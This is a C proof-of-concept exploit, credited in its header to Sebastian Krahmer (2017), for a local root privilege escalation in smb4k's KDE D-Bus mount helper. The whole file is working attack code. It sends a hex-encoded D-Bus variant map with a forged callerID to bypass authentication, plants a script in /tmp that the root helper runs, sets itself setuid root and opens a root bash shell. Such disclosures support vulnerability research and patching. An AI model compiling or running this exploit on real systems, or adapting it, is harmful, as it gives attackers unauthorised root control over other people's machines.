// cc -Wall smb0k.c -pedantic -std=c11 // // smb4k PoC, also demonstrating broader scope of a generic kde // authentication bypass vulnerability // // (C) 2017 Sebastian Krahmer // #define _POSIX_C_SOURCE 200112L #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> void die(const char *s) { perror(s); exit(errno); } int main(int argc, char **argv) { char me[1024] = {0}; char *dbus[] = { "/usr/bin/dbus-send", "--system", "--print-reply", "--dest=net.sourceforge.smb4k.mounthelper", "/", "org.kde.auth.performActions", "array:byte:" // The variant map, containing evil mh_command key-pair "0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74," "0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65," "0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73," "0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f," "0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70," "0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e," "0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68," "0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72," "0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00," "0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00," "0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d," "0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36," "0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35," "0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68," "0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00," "0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00," "0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00," "0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00," "0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00," "0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02," "0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75," "0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65," "0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69," "0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c," "0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30," "0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34," "0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66," "0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64," "0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c," "0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64," "0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c," "0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f," "0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73," "0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76," "0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63," "0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74," "0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f," "0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72," "0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e," "0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c," "0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e," "0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d," "0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69," "0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00," "0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00," "0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00," "0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00," "0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00," "0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00," "0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff," "0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f," "0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a," "0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00," "0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00," "0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74," "0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75," "0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73", // the callerID, ":1.0" which is dbus itself and thus always passes "array:byte:58,49,46,48", NULL}; char *boomsh = "/tmp/xmount.cifs"; char *const sh[] = {me, "shell", NULL}; char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL}; struct stat st; int fd = -1; if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) die("[-] readlink"); if (geteuid() == 0) { setuid(0); setgid(0); if (argc == 2) { execve(*bash, bash, NULL); die("[-] execve of bash"); } chown(me, 0, 0); chmod(me, 04755); exit(0); } printf("[*] Creating shellscript ...\n"); unlink(boomsh); if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0) die("[-] open"); write(fd, "#!/bin/sh\n", 10); write(fd, me, strlen(me)); write(fd, "\n", 1); close(fd); printf("[*] Triggering call...\n"); if (fork() == 0) { execve(*dbus, dbus, NULL); exit(1); } wait(NULL); sleep(5); printf("[*] Trying to find rootshell...\n"); memset(&st, 0, sizeof(st)); stat(me, &st); if ((st.st_mode & 04000) != 04000) die("[-] Failed to chmod ourselfs.\n"); execve(me, sh, NULL); return 0; }